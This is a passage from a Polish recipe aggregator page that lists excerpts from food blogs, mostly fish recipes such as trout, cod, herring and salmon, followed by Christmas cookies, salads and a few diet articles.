zbiornikach hodowlanych. Z tego też powodu mięso pstrąga jest wartościowe, bowiem nie zawiera (a jeśli już to minimalną ilość) środków chemicznych, antybiotyków i metali ciężkich w porównaniu z innymi rybami hodowlanymi. 100 g świeżego pstrąga dostarcza około 160 kcal, 19 g białka i 10 g tłuszczu. Białko jest łatwo przyswajalne i pełnowartościowe, co oznacza, że zawiera

W kuchni Katie
Domowy paprykarz (98 kcal) 304

ostra pieprz cytrynowy, sok z cytryny 250 ml passaty pomidorowej 2 łyżki koncentratu pomidorowego (opcjonalnie ketchupu) olej do smażenia Przygotowanie Ryż gotujemy w osolonej wodzie wg instrukcji na opakowaniu. Rybę solimy, oprószamy pieprzem cytrynowym i skrapiamy sokiem z cytryny, zawijamy w folię i pieczemy w piekarniku przez ok 20 min. Na patelni rozgrzewamy olej i dodajemy pokrojoną w kostkę cebulę(...)startą na tarce o dość grubych oczkach marchew i podlewamy delikatnie wodą, aby się nie przypaliła. Kiedy marchew trochę zmięknie wlewamy passatę pomidorową i koncentrat. Dusimy ok 15 minut. Rybę rozdrabniamy i wraz z ryżem dorzucamy na patelnię. Dodajemy przyprawy i sos chili. Jeszcze chwilę dusimy, aż paprykarz nabierze odpowiedniej konsystencji

e-PrzepisyKulinarne
Karminadle kotlety rybne 262

Post. W tym okresie część z nas więcej spożywa ryb, dań jarskich. Dlatego proponuję na środę przygotowanie szybkich i pysznych kotletów rybnych, dobrych szczególnie dla dzieci, które za rybą w jej naturalnej postaci nie zawsze przepadają. To moja wersja śląskich karminadli w rybnej odsłonie. Przepis możecie zobaczyć także w ostatnim wydaniu Maszketów . Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
OBIAD ROBOTNIKA #3: HALIBUT PIECZONY Z ZIEMINIAKAMI, KALAFIOREM, SELEREM I SOSEM MIODOWO-CZOSNKOWYM 194

tego, żeby się zabawić i poznać nowe… Toteż polecamy, żeby zamiast gapić się, marzyć i robić zdjęcia z ukrycia, odezwać się, porozmawiać, poznać. Wtedy na pewno dostaniecie świeżą rybę. My w nieco innych okolicznościach dostaliśmy halibuta. Pyszny! składniki: 1 halibut kilka młodych ziemniaków 1 kalafior 2-3 marchewki 1 biała cebula 1 cytryna seler naciowy świeża bazylia oliwa miód(...)ułożyć na dnie blachy do pieczenia. Ziemniaki wyszorować i pokroić na połówki. Kalafiora, marchew, pora i cytrynę umyć, pokroić i razem z ziemniakami poukładać w wolnych przestrzeniach dookoła kawałków ryby. Cebulę pokroić w piórka i rozsypać na całości razem z listkami bazylii. Sos robimy z kilku łyżek oliwy, łyżki miodu, pieprzu i pokrojonego w kosteczkę czosnku. Polewamy nim rybę

GRUBY WAŁEK
Uśpiony pstrąg we francuskiej kołderce 141

Dzisiaj mam dla Was przepis nie byle jaki, Pobudzi z pewnością wszystkie zmysły i smaki. Ryba mnóstwo zalet może nam zaproponować, Wzmacnia serce, koi nerwy, pomoże także naszą linią się zaopiekować. Szpinak z kolei bogaty w witaminy i składniki mineralne, Spowoduje, że powstanie nam danie niebanalne.  Moją dzisiejszą propozycję stanowi pstrąg ze szpinakiem, zapiekany w cieście francuskim z prażonymi(...)przyprawy cytrynę 1 jajko migdały w płatkach Przygotowanie: 1. Najpierw przygotowujemy szpinak. Na patelni rozgrzewamy odrobinę oleju, dodajemy szpinak. Doprawiamy solą, pieprzem, gałką muszkatołową, ziołami. pozostawiamy do wystygnięcia. 2. Ryba -> w przypadku wyczuwalnych ości, usuwamy je pęsetą. Następnie solimy, pieprzymy. Skrapiamy sokiem z cytryny. 3. Rozwijamy ciasto, dzielimy na pół i delikatnie solimy. Układamy na nim rybę, następnie szpinak

Mój Smak na Życie
Sum z pieczarkami pod śmietaną 192

ryby inne niż zazwyczaj. Dla osób które nie przepadają za karpiem kupiłam jesiotra, szczupaka oraz suma, po które pojechałam prosto na łowisko w Bielanach k/Kęt. Ta pokaźna ryba stanowiła dla mnie nie lada zagadkę i wyzwanie, ale dzięki radom znawców postanowiłam ją zapiec z grzybami i śmietaną. Okazało się że sum w smaku jest bardzo podobny do karpia

Bernika - moj kulinarny pamietnik
DORSZ Z PIECZARKAMI I SOSEM POROWYM 188

diecie. Pieczony w folii dorsz z dodatkiem podsmażanych pieczarek i niesamowicie aromatycznego sosu porowego. Obiad idealny nie tylko na piątek! Polecam! SKŁADNIKI: ( 2 porcje ) * dorsz lub inna biała ryba – 2 filety * pieczarki – ok. 100 g * cebula – 1 szt SOS: * por – 1 szt * masło – 2 łyżki * mąka – 1 łyżka * chrzan – 1 łyżeczka * śmietana(...)bulion warzywny – 200 ml * oliwa * sól , pieprz – do smaku   SPOSÓB PRZYRZĄDZENIA: Oczyszczoną rybę skrapiamy odrobiną soku z cytryny, doprawiamy solą i pieprzem. Zawijamy w folię i wkładamy do nagrzanego na 170C piekarnika na ok. 25 minut. W tym czasie drobno siekamy cebulę i kroimy pieczarki, podsmażamy do miękkości na odrobinie oliwy, doprawiamy solą. SOS: Na patelni rozgrzewamy

Ostra na Słodko
Kanapka na ciepło z grillowanym łososiem 149

smaku . Ryba: około pół kg filetów z łososia , 3 łyżki soku z cytryny , sól do smaku, pół łyżeczki słodkiej papryki , duża szczypta ostrej papryki , 1/3 łyżeczki suszonej mięty , 1/3 łyżeczki suszonego oregano , 4 łyżki oleju . Dodatkowo:  olej do przesmarowania patelni . Przygotować marynatę z przypraw, soli, soku z cytryny i oleju. Nasmarować dokładnie wszystkie kawałki ryby, przykryć i odstawić

Codzienna kuchnia niecodzienna
"Moqueca de bacalhau a baiana" czyli potrawka z dorsza (wersja druga) 160

Braisileiro.  Dla przypomnienia bacalhau to suszony o solony dorsz, ukochany przez Brazylijczyków a przede wszystkim Portugalczyków (być w Portugalii i nie spróbować któregoś z przysmaku zrobionych z tej ryby, to jak odwiedzić Polskę i nie spróbować pierogów). Gdzie kupić bacalhau i jak go przygotować również odsyłamy do przepisu z sierpnia.  Składniki dla 4 osób: 250 gram bacalhau(...)minut. Bacalhau w momencie zakupu jest już wcześniej "przegotowany",  dlatego przygotowanie moqueca trwa tak krótko. Znakiem że potrawa jest gotowa to to że woda wyparowała z ryby oraz warzyw.  Gotowy produkt prezentuje się następująco

Smaki Brazylii
Bratheringi czyli zielone śledzie w zalewie octowej 275

Śledź na dawnym Śląsku to długa tradycja, kiedyś należał do najtańszych ryb i można było go kupić przez cały rok, stąd taka jego popularność, nie tylko w postny piątek. A że Śląsk jak sami wiecie przez wiele lat był ściśle związany z kulturą niemiecką przejął bardzo dużo z kuchni niemieckiej, m in. opiekane śledzie, czyli bratheringi. Przez długi czas(...)stały się daniem powszechnym, by obecnie być całkowicie zapomnianym, szczególnie na śląskiej wigilii, na której zagościł ogólnopolski karp. A szkoda, bo jak dla mnie są smaczniejsze niż ta zamulona ryba. Może zechcecie przywrócić za dwa dni śląską tradycję i przyrządzić bratheringi? Zapraszam.  Czytaj więcej

Bernika - moj kulinarny pamietnik
Ryba na parze ze szpinakiem i suszonymi pomidorami 138

Dziś będzie nie tylko smacznie , ale i zdrowo. Mam dla Was przepis na przepyszną , delikatną rybę przygotowaną na parze … z farszem szpinakowym z dodatkiem suszonych pomidorów , którymi dogodził mi PROVITUS . Przepisy takie pokazują , że danie dietetyczne wcale nie musi być złe … i kojarzyć nam się np. ze szpitalnym jedzeniem ;) Rybka niesamowicie syci …a podana z ulubionymi dodatkami(...)łyżki - sól – do smaku - pieprz – do smaku - gałka muszkatałowa – do smaku - czosnek – 1 ząbek - sok cytrynowy – 1 łyżka   SPOSÓB PRZYRZĄDZENIA: Oczyszczone ryby nacieramy solą i pieprzem. Skrapiamy sokiem cytrynowym i odstawiamy do lodówki. Na patelni rozgrzewamy oliwę. Wrzucamy drobno posiekany czosnek a następnie umyty szpinak. Chwilkę razem przesmażamy a następnie doprawiamy solą

Ostra na Słodko
Łosoś gotowany na parze z salsą pomidorowo - paprykową 150

szerszym garnku zagotowujemy wodę (nalaną do ok. 1/4 wysokości) z dodatkiem ziaren pieprzu i trawy cytrynowej. Nad wodą ustawiamy rybę ułożoną na przykład na metalowym sicie (lub durszlaku) i przykrywamy. Gotujemy około 20 minut - do miękkości ryby.  Pomidory i paprykę w całości ułożyć na płaskiej blasze i wstawić do piecyka nagrzanego do temperatury 220 stopni. Czosnek owinąć folią

Codzienna kuchnia niecodzienna
Opiekany śledź w pomidorowym słodko - kwaśnym sosie 233

Święta Bożego Narodzenia to czas, kiedy jemy więcej niż zazwyczaj ryb. Obok królewskiego karpia, to własnie pospolity śledź jest jednym z królów naszych świątecznych stołów. W każdym domu znane są śledzie w zalewie octowej czy w śmietanie, o sałatkach nie wspomnę. Jeśli udaje mi się kupić świeżego śledzia, wtedy często przygotowuję go w pomidorowej zalewie, która

Codzienna kuchnia niecodzienna
Łosoś smażony na soli- salmone in padella 151

tłuszczu ) poczym układać kawałki łososia pokrojonego w dzwonki. Smażyć ok 5 minut z każdej strony aż do zarumienienia się ryby. Nie ma potrzeby soli ć  dodatkowo gdyż ryba jest juz odpowiednio posolona. Podawać na gorąco .                                         SMACZNEGO

zielonacukinka
Maślane steki z rekina z cytrynowo - miodowym dressingiem 184

zostawiamy na godzinę żeby składniki się "przegryzły". Przygotowujemy 4 kwadraty z folii aluminiowej. Na każdym układamy kilka płatków masła. Rybę przyprawiamy pieprzem cytrynowym i solą, układamy na kwadratach z folii i otulamy płatkami z masła. Następnie każdy kawałek ryby posypujemy z wierzchu skórką cytrynową. Folię zawijamy, tak by powstały prostokątne paczuszki i wkładamy do piekarnika rozgrzanego do 190 stopni

W poszukiwaniu inspiracji
RYBA W SOSIE KOPERKOWYM. 169

najbardziej chyba znanych potraw rybnych. Zresztą, nic dziwnego - biały, śmietanowy sos z dużą ilością świeżego koperku idealnie pasuje do delikatnej ryby. RYBA W SOSIE KOPERKOWYM. /znany i lubiany;/ 3-4 porcje 350g filetów z białej ryby (dorsz, mintaj, itd.) 1 cebula 2 pęczki świeżego koperku 150 ml białego wytrawnego wina 450 ml śmietanki 12% 150 ml mleka(...)łyżki mąki sok z 1 cytryny sól, pieprz, olej roślinny Filety z ryby nacieram solą, pieprzem i skrapiam sokiem z połowy cytryny. Odstawiam na kwadrans. Cebulę obieram, siekam, szklę na odrobinie oleju. Wlewam wino i czekam,  aż częściowo wyparuje. Następnie dodaję śmietankę i posiekany koper. Zagotowuję. W mleku rozprowadzam mąkę i dodaję do rondla ze śmietanką, najlepiej przez

W kuchni Karmel-itki
1522. Ryba w sosie śmietanowo-koperkowym 164

Kiedyś robiłam podobną rybę , ale w sosie z torebki..tym razem postanowiłam trochę pokombinować i zrobiłam również smaczną rybę [ pomimo nawet ciut przypalonej cebuli]..ale zdjęcia nie udało mi się lepszego zrobić....ale uwierzcie była smaczna... 1 kg filetów z dowolnej ryby  1 szkl.mleka sól, pieprz przyprawa do ryb mąka 1 szkl.śmietany koperek 2  łyżki(...)sera żółtego 1 duża cebula Filety [ nie rozmrożone]  namoczyć na 1/2 godz.w mleku [ w między czasie pokroiłam na kawałki].Mąkę wymieszać z przyprawami , obtoczyć w niej rybę i usmażyć .Cebulę pokroić i zeszklić na oleju [ moja trochę się przypaliła] i przełożyć do naczynia żaroodpornego , zalać śmietaną wymieszaną z przyprawami i koperkiem.Wstawić do piekarnika  i piec około

Moje domowe kucharzenie
Karp smażony 163

papryka słodka w proszku sól  mąka oliwa do smażenia Sprawionego karpia opłukać pod bieżącą wodą i pokroić na dzwonka.  Cebulę pokroić w drobną kosteczkę. Dzwonka ryby, posolić.  Posolone kawałki karpia natrzeć(...)przyprawą do ryb i słodką papryką w proszku.  Tak przygotowane dzwonka ułożyć w naczyniu, posypać cebulką i szczelnie przykryć. Rybę odstawić w chłodne miejsce na około 8 godzin.  Po upływie tego czasu strząsnąć cebulę z ryby. Rozgrzać oliwę na patelni.  Dzwonka karpia obtaczać w mące i smażyć na złoty kolor

Moje domowe kucharzenie
Przepis na PSTRĄGA w sosie pomarańczowym 176

Kochani dzisiaj kolejny przepis na rybę, tym razem pstrąga w sosie pomarańczowym z limonką. Bardzo aromatyczne danie, smaczne i łatwe w wykonaniu. Przyjemne doznania smakowe. Zachęcam gorąco do wypróbowania nowego sposobu na pstrąga. Składniki: 2 pstrągi 1/3 szklanki soku pomarańczowego, można wycisnąć świeży, można użyć z kartonu (tylko nie dosładzany zbyt mocno) 1/2 limonki pokrojonej w ćwiartki(...)smarujemy masłem, układamy pstrągi, polewamy oliwą z oliwek, polewamy sokiem pomarańczowym, skrapiamy limonką, kawałki limonki układamy na pstrągach, posypujemy solą morską. Tak przygotowaną rybę pieczemy w piekarniku około 35-45 minut w zależności od wielkości ryby.     Młode ziemniaki, myjemy pod bieżącą wodą, szorujemy, nie obieramy. Następnie nacinamy głęboko aby utworzyły tzw. harmonijkę. Ziemniaki układamy w naczyniu żaroodpornym

SMYKWKUCHNI
Pstrąg smażony na maśle i zielone szparagi z akcentem azjatyckim 296

prościej tym lepiej! Wystarczą świeże składniki. I tak: świeża ryba, masło klarowane, sól morska, świeżo mielony pieprz i trochę mąki to wszystko czego potrzebujemy do przygotowania wyśmienitego pstrąga. Do tego cienkie szparagi i młode ziemniaki. SKŁADNIKI (3 porcje) 3 pstrągi w całości 3 łyżki masła klarowanego mąka do obtoczenia ryby sól morska(...)świeżo mielony pieprz pęczek cienkich zielonych szparagów 2 łyżeczki ziaren białego sezamu 1 duża łyżka oleju sezamowego WYKONANIE Każdą rybę dokładnie posypujemy solą i pieprzem z każdej strony. Następnie dokładnie obtaczamy w mące. Na patelni mocno rozgrzewamy masło klarowane. Układamy ryby i smażymy z każdej strony na rumiano. W tym samym czasie mocno rozgrzewamy patelnię grillową. Wrzucamy szparagi (cienkich

OstryKęs
Moja ulubiona ryba... 195

taka rybe u siebie w domu. Taka zalewa jest tez dobrym rozwiazaniem gdy po Wigilii zostaje usmazona ryba, a nikt juz nie ma ochoty na kolejne jej odgrzewanie. W occie rybka sie zakonserwuje i przetrzyma jeszcze pare dni. Zalewa octowa do ryby skladniki : 5 szklanek wody 1 szklanka octu 12 lyzeczek cukru 1 lyzeczka soli ziele angielske lisc laurowy(...)wykonanie: Marchewke kroimy w plasterki, cebule w piorka. Wszystkie skladniki zalewy nalezy zagotowac razem i zalac nimi usmazone filety rybne. Odstawiamy rybe na 1-2 dni. W tym czasie ryba nasiaknie zalewa, zmiekne i bedzie nadawala sie do spozycia. Smacznego

Przysmaki Karolki
Dorsz z surówką a'la Coleslaw 235

Walory zdrowotne ryb odkryto w latach 60 XX wieku, kiedy odkryto ze Eskimosi , ktorych głownym pożywieniem są ryby, rzadko chorują na serce. Są zródłem wartościowego białka.  Zawieraja witaminy A I D, witaminy z grupy B, potas, fosfor, magnez , wapń I sód. Ponadto ryby morskie zawierają niezbędne dla zdrowia nienasycone kwasy tłuszczowe (kwasy omega(...)się przegryzł-na ok 5-10 min.  Do miski nasypujemy mąki, dodajemy stary ser I natkę pietruszki. Mieszamy. Wyciągamy dorsza z jajka I obtaczamy w mące. Kładziemy rybę na rozgrzany olej I smażymy zdwóch stron na srednim gazie.  Do obiadu przygotowałam surówkę a' la colesław . Składniki: Kapusta pekinska 1-2 marchewki szczypiorek 2-3 łyżki majonezu lub joguru

Smaki Edyty
Tilapia w czerwonej marynacie 193

ryby . Jako, że jest pikantne nie trzeba ryby w niej długo trzymać .Wystarczy potem usmażyć rybę na maśle i podać z porcją orzeźwiającej surówki( proponuję sałaty + pomidory). Pół godziny i obiad gotowy. Ten typ marynaty stosuję do ryb o mało intensywnym zapachu i smaku- a taka ryba jest Tilapia. Czas: 45 minut Składniki: 2 filety z Tilapii(...)barbecue, sok z cytryny, otartą skórkę cytrynową i szczyptę soli. Marynatę rozprowadzić pędzelkiem kulinarnym po filetach ( z obu stron).Zostawić na pół godziny. Delikatnie usunąć część marynaty kładąc rybę na papierowych ręcznikach kuchennych . Oprószyć   filety   mąką zmieszaną z papryką słodka mieloną. Na patelni rozgrzać kilka łyżek oleju z 2 łyżkami masła. Smażyć filety kilka minut z każdej strony

Buniabaje w kuchni
DORSZ SMAŻONY PANIEROWANY. 156

pecha, zawsze trafiam na takie okazy, które albo strasznie cuchną szlamem, obojętnie jakby były przyrządzone lub są po prostu niezjadliwe. Stąd co roku pojawiają się u mnie różne ryby na świątecznym stole. na przykład TILAPIA czy właśnie dorsz. DORSZ PANIEROWANY SMAŻONY. /przepis spontaniczny;/ dorsz świeży oprawiony (u mnie kawałki z grzbietem, a'la dzwonki) bułka tarta mąka jajko sól(...)olej do smażenia Oprawionego dorsza myję, suszę. Bułkę mieszam z mąką w stosunku 3 : 1 (3 objętości bułki, 1 objętość mąki). Rybę solę, posypuję pieprzem, skrapiam sokiem z cytryny i zostawiam na 30 minut. Cytryna "zabije" specyficzny smak ryby. Jajko roztrzepuję. Panieruję kawałki ryby najpierw w jajku, potem  w mieszance bułki tartej i mąki. Opanierowane ryby

W kuchni Karmel-itki
Świąteczne ciasteczka orzechowe z orzechem włoskim i czekoladą 3

Świąteczne ciasteczka orzechowe z orzechem włoskim i czekoladą Świąteczne ciasteczka orzechowe z orzechem włoskim to kolejna wariacja na temat kruchych ciastek z mielonymi orzechami . Te ciastka

Korniszonki
Sernik wiedeński mojego taty. Tradycyjny sernik bez spodu, proszku do pieczenia i bez mąki ziemniaczanej 4

Tradycyjny sernik wiedeński mojego taty Polecam przepis na tradycyjny sernik wiedeński , który piekł mój tato. W tym serniku nie znajdziecie proszku do pieczenia, mąki ziemniaczanej , a

Korniszonki
Czeskie ciasteczka orzechowe, czyli słynne Masarykovo cukroví (ciasteczka Masaryka) 4

Czeskie ciasteczka orzechowe, czyli słynne Masarykovo cukroví  Ciasteczka Masaryka, Masarykovo cukroví to przepyszne kruche ciasteczka orzechowe - kultowe świąteczne ciasteczka w Czechach. Ich nazwa pochodzi

Korniszonki
Śledzie z żurawiną w sosie jogurtowo-chrzanowym 3

Śledzie z żurawiną w sosie jogurtowo-chrzanowym - świetne jako wigilijna przystawka Śledzie z żurawiną w delikatnym sosie jogurtowo-chrzanowym to bardzo smaczna i bardzo elegancka przekąska

Korniszonki
Ślimaczki z ciasta francuskiego z makiem 2

Ślimaczki z ciasta francuskiego z masą makową Ślimaczki francuskie to pomysł na ekspresowe ciastka z makiem , nie tylko na Boże Narodzenie. Do ich przygotowania wystarczy opakowanie

Korniszonki
Kocie oczka - stary przepis na tradycyjne kruche ciasteczka przełożone dżemem 3

Kocie oczka, tradycyjne ciasteczka znane w Galicji i na Śląsku Cieszyńskim Dla mnie kocie oczka to smak dzieciństwa . Takie kruche i rozpływające się w ustach ciasteczka

Korniszonki
Śledzie z powidłami i wędzoną papryką pimenton 3

Śledzie z powidłami i wędzoną papryką pimenton Śledzie z powidłami i dymnym posmakiem pimentonu i śliwek są naprawdę warte wypróbowania . Mają głęboki, dymny smak, przełamany słodyczą

Korniszonki
Kruche rogaliki babci Rysi 6

Kruche rogaliki babci Rysi z Ustronia. Ciasteczka cieszyńskie na Boże Narodzenie Mam dla Was kolejny przepis, który zawdzięczam babci Rysi z Ustronia. To receptura na przepyszne

Korniszonki
Uszka z grzybami z wigilijną wróżbą 3

Wigilijne uszka z grzybami Dzielę się z Wami moim domowym przepisem na uszka z grzybami . Nie różni się od specjalnie od innych, które znajdziecie w internecie

Korniszonki
Świąteczne choinki z tuńczykiem, serkiem i koperkiem 6

Choinki z serkiem, tuńczykiem i koperkiem - efektowna przystawka lub świąteczna przekąska Choinki z serkiem, tuńczykiem i koperkiem to ostatnio hit , który bez przerwy pojawia się Facebooku

Korniszonki
Śledzie po wileńsku, czyli śledzie w pomidorach, z grzybami i kiszonymi ogórkami 4

Wigilijne śledzie po wileńsku Śledzie po wileńsku to wyjątkowo pyszna propozycja wigilijnej przystawki . W tym przepisie tradycyjne solone śledzie łączymy ze słodkimi pomidorami, cebulą i aksamitnymi

Korniszonki
Czubryca Zielona – Idealna Przyprawa do Każdego Dania 5

połączenie sprawia, że czubryca zielona jest niezwykle wszechstronna i uniwersalna. Zalety czubrycy zielonej Uniwersalność Czubryca zielona to przyprawa, która pasuje do wielu różnych dań. Można jej używać do mięs, ryb, warzyw, zup, sosów, a nawet sałatek. Jej wszechstronność sprawia, że jest idealna do eksperymentów kulinarnych i odkrywania nowych smaków. Dzięki czubrycy zielonej, każde danie może zyskać wyjątkowy charakter. Korzyści(...)początku gotowania, aby składniki miały czas na uwolnienie swoich aromatów. Można także posypywać nią gotowe dania, aby podkreślić ich smak. Czubryca zielona doskonale komponuje się z różnymi rodzajami mięsa, ryb, a także z warzywami. Dodaj ją do swoich ulubionych przepisów i odkryj nowe smaki. Czubryca zielona w codziennej kuchni Proste przepisy Czubryca zielona sprawdzi się również w prostych, codziennych

CityTaste
Wigilijna zupa z suszonych grzybów z ziemniakami 17

Wigilijna zupa grzybowa z ziemniakami Proponują przepis na nieco inną zupę grzybową, która doskonale sprawdzi się na wigilijnym stole . Tym razem nie będzie to zupa z

Korniszonki
Przekąska z łososia wędzonego na ciepło 5

jako przekąska na imprezę z przyjaciółmi. Łosoś wędzony na ciepło to prawdziwa uczta dla podniebienia – jego delikatna struktura i charakterystyczny smak doskonale łączą się z różnorodnymi dodatkami. Uwielbiam wędzoną rybę , a łosoś wędzony na ciepło ma w sobie coś wyjątkowego. Dzięki odpowiedniemu przygotowaniu zachowuje soczystość i głęboki, lekko dymny aromat. Możesz podać go na krakersach z odrobiną serka śmietankowego, udekorować(...)albo stworzyć z niego pyszne przekąski z dodatkiem ciasta francuskiego . Łosoś wędzony na ciepło – wigilijne inspiracje i nie tylko Kupuję zawsze całego łososia. Jest to zawsze spory kawałek ryby, więc zawsze planuję jak ją wykorzystać. Podjadam łososia już w trakcie oczyszczania go z ości i skóry. Jest bardzo syty i wyjątkowo smaczny. Na pierwszy rzut zrobiłam z niego

codojedzenia
Sałatka z tuńczykiem, ziemniakami i kiszonym ogórkiem po wiejsku 5

  Prosta sałatka z tuńczykiem i ziemniakami w stylu wiejskim Polecam przepis na bardzo prostą, ale pyszną sałatkę z tuńczykiem, ziemniakami i kiszonym ogórkiem, z dodatkiem

Korniszonki
Najlepsza sałatka z łososiem i awokado  6

potrzeba do przygotowania najlepszej sałatki z łososiem i awokado, jaką kiedykolwiek jadłam. Doskonale zbilansowany przez warzywa smak łososia przypadnie do gustu nawet osobom, które nie przepadają za intensywnym smakiem ryby. Składniki 200 g wędzonego filetu z łososia bez skóry 120 g roszponki lub miksu sałat zawierającego roszponkę 25 g kiełków rzodkiewki 10 pomidorków koktajlowych 1 awokado 2 łyżki oliwy(...)jest bardzo prosty. Jeśli szukasz więcej ciekawych pomysłów na szybkie dania, sprawdź też mój przepis na sałatkę z kurczakiem i granatem . A jeśli potrzebujesz więcej receptur na dania z ryb, to polecam Ci też sprawdzić mój przepis na wyśmienitego łososia w sosie chrzanowym . Jakie składniki sprawdzą się jeszcze w sałatce z awokado i łososiem? Jeśli któryś z Twoich domowników

Rozdomowiona
Śledzie z chutneyem śliwkowym, pomidorami i duszoną cebulą 6

Śledzie z chutneyem śliwkowym, pomidorami i duszoną cebulą Dzielę się z Wami wyjątkowym przepisem na przepyszne śledzie z niecodziennym dodatkiem, jakiem jest chutney śliwkowy. Kompozycja smaków

Korniszonki
Prażynka francuska do tortu, czyli chrupka prażynka Callebaut 3

Prażynka Callebaut, nazywana prażynką francuską lub chrupką Callebaut Prażynka Callebaut jest popularnym składnikiem w nowoczesnych słodkich wypiekach, przede wszystkim tortach i deserach, gdzie liczy się zarówno

Korniszonki
Placek królewski babci Marysi, czyli przedwojenny miodownik z masą budyniową 32

Placek królewski babci Marysi, czyli tradycyjny miodownik z masą budyniową Ten przepis pochodzi z zeszytu mojej mamy, która dostała do jeszcze od swojej mamy. Ten przepis

Korniszonki
Sałatka z łososiem i chrupiącym ryżem 5

drobne plasterki. Fasolę edamame odcedzamy, przelewamy i odstawiamy do odcieknięcia. Awokado przepoławiamy, usuwamy pestkę. Łyżką wydrążamy, kroimy w kostkę i skrapiamy sokiem z cytryny.   Wyciągamy upieczony ryż oraz rybę z piekarnika. Ryż przesypujemy do dużej miski, dodajemy połowę dressingu i mieszamy gdy jest jeszcze gorący. Ściągamy skórę z ryby i dzielimy na około centymetrowe kawałki. Do ryżu dodajemy

Smaczna Strona
Bardzo kruche ciastka korzenne - idealne na Boże Narodzenie 7

Kruche ciastka korzenne idealne na Boże Narodzenie Te korzenne ciastka mogą zastąpić tradycyjne pierniki . To przepyszne ciasteczka z ciasta kruchego - bardzo delikatne, rozpływające się w ustach

Korniszonki
Surówka z kiszonych ogórków – idealna do każdego obiadu 12

Surówka z kiszonych ogórków to bardzo zdrowy i pyszny dodatek, który można podać do pieczonych mięs, smażonej ryby, kotletów czy kanapek. Jest bardzo uniwersalna i pasuje praktycznie do wszystkiego. Robi się ją błyskawicznie, wystarczy tylko składniki pokroić lub zetrzeć na tarce i wymieszać ze sobą. Surówka z kiszonych ogórków to prosty, szybki i zdrowy sposób na urozmaicenie naszego codziennego(...)surówkę z kiszonych ogórków? Oto kilka pomysłów na dania, z którymi można ją podać: Dania obiadowe: Mięsa pieczone lub duszone: Schabowy, karkówka, pieczone udka z kurczaka czy duszona wołowina. Ryby: Smażone, pieczone lub grillowane, np. dorsz, łosoś czy pstrąg. Dania jednogarnkowe: Bigos, gulasz, czy potrawki na bazie kasz, ryżu lub ziemniaków. Potrawy wegetariańskie: Kotleciki warzywne: Z ciecierzycy, soczewicy

e-PrzepisyKulinarne
Cynamonowe paluchy z ciasta francuskiego. Pachnąca i chrupiąca przekąska gotowa w 15 minut 6

Cynamonowe paluchy z ciasta francuskiego Cynamonowe paluchy z ciasta francuskiego to nie tylko błyskawiczna, ale i efektowna przekąska, która świetnie sprawdzi się zarówno do kawy, jak

Korniszonki
Zapiekanka – jednogarnkowe dania, które robi wrażenie! 52

rozkosz! Pomysł na dziś – zapiekanka z batatów i pora – kulinarny hit na każdą okazję! Zapiekanka z batatów i pora to prosta przystawka do obiadu, która pasuje zarówno do ryby, jak i mięsa. Można ją również podać ze smażonymi jajkami, co czyni ją idealnym wyborem na szybki bezmięsny posiłek w tygodniu. Ta uniwersalna przystawka na ciepło pasuje do wszystkiego(...)eksperymentuję z zapiekankami, przyrządzając je na różne sposoby, dostosowane do okazji i gustu domowników. To danie świetnie sprawdza się zarówno w wersji wegetariańskiej, jak i z dodatkiem mięsa czy ryb. Poniżej znajdziecie kilka sprawdzonych przepisów na zapiekanki, które nie tylko zaoszczędzą Wam czas, ale też zagwarantują pyszne doznania smakowe i mnóstwo komplementów od bliskich: Zapiekanka na słodko Prosta zapiekanka

codojedzenia
Czy można jesc kisiel na kolację? 7

kolację, warto rozważyć również inne opcje. Istnieje wiele innych lekkich i zdrowych dań, które mogą być doskonałym wyborem na wieczorny posiłek. Na przykład, sałatki z warzyw, lekkie zupy, grillowane ryby lub chude mięso, a także dania z kasz, mogą być świetnymi alternatywami dla kisielu na kolację. Te potrawy dostarczą nam niezbędnych składników odżywczych, a jednocześnie będą lekkie i łatwostrawne(...)powinniśmy zadbać o to, aby w ciągu dnia spożyć inne pełnowartościowe posiłki. Jeśli zastanawiamy się nad alternatywami dla kisielu na kolację, warto rozważyć sałatki z warzyw, lekkie zupy, grillowane ryby lub chude mięso, a także dania z kasz. Te potrawy dostarczą nam niezbędnych składników odżywczych i będą równie smaczne i lekkie. Mamy nadzieję, że nasz artykuł pomógł Państwu podjąć

Żyję by jeść
Nadwaga u nastolatków – jak wspierać zdrowe nawyki żywieniowe młodzieży 10

razowy, brązowy ryż czy pełnoziarnisty makaron dostarczają energii i pomagają utrzymać stabilny poziom cukru we krwi. białko – niezbędne do budowy mięśni i regeneracji organizmu. Włącz do diety chude mięso, ryby, jajka oraz rośliny strączkowe. zdrowe tłuszcze – znajdziesz je w orzechach, awokado, oliwie z oliwek czy tłustych rybach, takich jak łosoś. Dobrym rozwiązaniem są diety oparte na zasadzie zbilansowania

Natka Pietruszki
Spaghetti z łososiem i cukinią w sosie śmietankowym 13

Spaghetti z łososiem i cukinią w sosie śmietankowym Szybki i bardzo smaczny obiad. Makaron w kremowym sosie z dodatkiem warzyw i ryby. Coś pysznego!     Składniki: 200g makaronu spaghetti 250g fileta z łososia 1 cebula 1 mała cukinia pół szklanki bulionu pół szklanki śmietanki 30 lub 36% sól, pieprz 1 łyżka masła     *** Makaron gotujemy al dente(...)smażymy często mieszając, aż cukinia zmięknie *** *** Zalewamy bulionem *** *** Wlewamy śmietankę, mieszamy, zagotowujemy *** *** Dodajemy surowego łososia. Całość dusimy na średniej mocy palnika, przez około 5 minut bez przykrycia, aż ryba przestanie być surowa *** *** Doprawiamy do smaku solą oraz pieprzem, dodajemy ugotowany wcześniej makaron, mieszamy. Sos nie musi być bardzo gęsty *** *** SMACZNEGO ***     POLECAM TAKŻE: Najlepsze pomysły na pyszne i niedrogie

Blog z Apetytem
Autoimmunologiczne zapalenie wątroby (AZW). Jaką dietę zastosować? 13

płatki owsiane. 4. Białko o wysokiej wartości odżywczej Wątroba często potrzebuje dodatkowego wsparcia w produkcji i regeneracji tkanek, dlatego warto spożywać białko o wysokiej wartości odżywczej. Najlepsze źródła to ryby (szczególnie tłuste ryby morskie), drób bez skóry, chudy nabiał, jajka i rośliny strączkowe. 5. Warzywa i owoce bogate w antyoksydanty Antyoksydanty pomagają walczyć ze stresem oksydacyjnym i mogą

Natka Pietruszki
Wrzodziejące zapalenie jelita grubego (WZJG). Jak pomóc sobie dietą? 17

